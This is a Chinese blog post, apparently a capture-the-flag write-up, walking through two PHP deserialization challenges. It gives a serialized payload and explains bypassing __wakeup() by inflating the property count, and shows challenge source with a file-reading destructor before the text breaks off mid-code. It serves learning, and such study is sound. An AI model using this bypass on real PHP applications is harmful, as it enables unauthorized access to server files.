终于搭建了自己的网站,已经初具形态,之后大部分博文都会发布在自己的网站上,少量会同步在CSDN,小伙伴们可以去那里看我的一些学习分享呦😉
(最近在申请备案,因此网站暂时无法访问……)
1、unserialize3
题目是一段php代码,是反序列化题目,需要将序列化结果通过code传递。
源码保存到本地,添加序列化代码进行审计和输出测试,需要补全大括号
<?php
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
}
$s = new xctf;
echo(serialize($s));
?>
首先发现,代码中存在__wakeup()魔术方法,该魔术方法在反序列化操作执行前调用,用于初始化操作,如获取必要资源等。
但是本题中__wakeup()
内容是结束程序,因此很明显本题是要利用__wakeup()魔术方法的失效漏洞,即在反序列化时,当对象属性个数大于真实个数,就会绕过该魔术方法直接执行反序列化操作。
执行该代码,得到以下序列化结果:
O:4:"xctf":1:{s:4:"flag";s:3:"111";}
将属性数量改为大于当前数量的值,比如2,然后发包,即可得到flag
2、Web_php_unserialize
一个反序列化题目,页面直接给出了源码:
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {